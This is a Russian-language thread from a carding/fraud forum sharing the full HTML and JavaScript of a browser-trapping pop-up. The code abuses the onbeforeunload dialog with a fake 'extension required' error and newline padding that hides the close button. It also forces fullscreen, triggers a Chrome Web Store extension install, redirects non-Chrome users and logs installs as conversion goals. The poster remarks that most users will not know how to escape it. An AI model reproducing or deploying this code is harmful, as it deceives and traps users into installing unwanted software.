1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Pop up устойчивый под гугл хром ( не дает закрыть страницу )

Тема в разделе "Наши статьи", создана пользователем zakkk, 15 май 2015.

  1. TopicStarter Overlay
    zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Лавяя по гетто клоаке инета

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    наткнулся на интересный попап .
    Которя я не смог закрыть , пришлось вырубать процесс хрома . Фишка в том , что кнопка закрытия оказывается за панель. пуска ( если она снизу ) . Работает на хроме прекрасно .

    [​IMG]



    Вот это говно :



    Код:
    <!DOCTYPE html>
    <html>
        <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <link rel="shortcut icon" href="icon.png" />
        <title>Кнопка Вверх</title>
    <link rel="chrome-webstore-item" href="https://chrome.google.com/webstore/detail/jkgogblhemfjdphgjdgcpjakjdfeicda">
    <script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
    <style>
    html,body {
        padding: 0;
        margin: 0;
     
    }
    </style><style type="text/css"></style></head>
    
     
        <body onclick="ints(); fullscreenk(document.documentElement);">
    
    
        <script> 
             y = true;
     
            window.onbeforeunload = function(){
        block3 = new Array(3).join("\n\n\n");
        var block = 'Ошибка! Необходимо установить расширение.\nДля этого нажмите клавишу Esc и кнопку «Добавить»';
        var block2 = "\n\n\n";
        var block2 = new Array(45).join(block2 + "\n\n\n");
        if(y){
            return block3+block+block2;
        }
    
    }
        var ua = navigator.userAgent;
        if(ua.search(/Chrome/) > 0){
            var bb = true;
        }else{
        setTimeout(function(){document.location.href="http://savefromvk.com/ff/?utm_source=wbndr"}, 1000);        window.onbeforeunload = null;
            //document.location.href = 'http://savefromvk.com/2/';
        }
     
    </script>
    
    <div id="continue" style="width: 371px; height: 134px; position: fixed; left: 50%; top: 260px; margin-left: -185px; display: none; z-index: 99999999; background: url(ilividnewtab-continue.png) 50% 50% no-repeat;"></div>
    <div id="undeContinue" style="height: 100%; opacity: 0.5; position: fixed; width: 100%; z-index: 9999999; top: 0px; left: 0px; display: none; background: rgb(0, 0, 0);"></div>
     
    <center><img src="http://screenshot.ru/cf50af675d8de923fb438db7716da4ec.png"></center>
    <script type="text/javascript">
    function fullscreenk(element) //функция для развёртывания
    {
        if(element.requestFullScreen) { element.requestFullScreen(); } else if(element.mozRequestFullScreen) { element.mozRequestFullScreen(); } else if(element.webkitRequestFullScreen) { element.webkitRequestFullScreen(); }
    }
    </script>
    <script>
    function ints() {
            setTimeout('document.getElementById(\'ints\').style.opacity = \'0\'',100);
            var url = 'https://chrome.google.com/webstore/detail/jkgogblhemfjdphgjdgcpjakjdfeicda';
            chrome.webstore.install(url, successPlainCallback, errorCallback);
            setTimeout('document.getElementById(\'continue\').style.display = \'block\'',800);
            setTimeout('document.getElementById(\'undeContinue\').style.display = \'block\'',500);
         
        }
     
        function successPlainCallback() {
            y = false;
            yaCounter28092297.reachGoal('installed');
            document.getElementById('continue').style.display = 'none';
            document.getElementById('undeContinue').style.display = 'none';
            window.onbeforeunload = null;
        }
     
        function errorCallback(err) {
            if (err == "User cancelled install") {
                document.getElementById('continue').style.display = 'none';
                document.getElementById('undeContinue').style.display = 'none';
                setTimeout('document.getElementById(\'ints\').style.opacity = \'1\'',100);
            }
        }
    </script>
    
    <!-- Yandex.Metrika counter -->
    <script type="text/javascript">
    (function (d, w, c) {
        (w[c] = w[c] || []).push(function() {
            try {
                w.yaCounter29704225 = new Ya.Metrika({id:29704225,
                        clickmap:true,
                        trackLinks:true,
                        accurateTrackBounce:true});
            } catch(e) { }
        });
    
        var n = d.getElementsByTagName("script")[0],
            s = d.createElement("script"),
            f = function () { n.parentNode.insertBefore(s, n); };
        s.type = "text/javascript";
        s.async = true;
        s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";
    
        if (w.opera == "[object Opera]") {
            d.addEventListener("DOMContentLoaded", f, false);
        } else { f(); }
    })(document, window, "yandex_metrika_callbacks");
    </script>
    <noscript><div><img src="//mc.yandex.ru/watch/29704225" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
    <!-- /Yandex.Metrika counter -->
    
    </body></html>
    Вот функция , засчет которой это происходит

    Код:
    y = true;
     
            window.onbeforeunload = function(){
        block3 = new Array(3).join("\n\n\n");
        var block = 'Ошибка! Необходимо установить расширение.\nДля этого нажмите клавишу Esc и кнопку «Добавить»';
        var block2 = "\n\n\n";
        var block2 = new Array(45).join(block2 + "\n\n\n");
        if(y){
            return block3+block+block2;
        }
    
    }
     
    • Like Like x 2
    Метки:
  2. Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    лол, просто Enter нажал и закрылась :DD
     
    • Like Like x 1
  3. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    :DD
     
  4. TopicStarter Overlay
    zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Реально ?)))) Хаха


    Но если этого не знал я . Значит 40-60 % юзеров хрома точно не догадаются )
     

Поделиться этой страницей

Загрузка...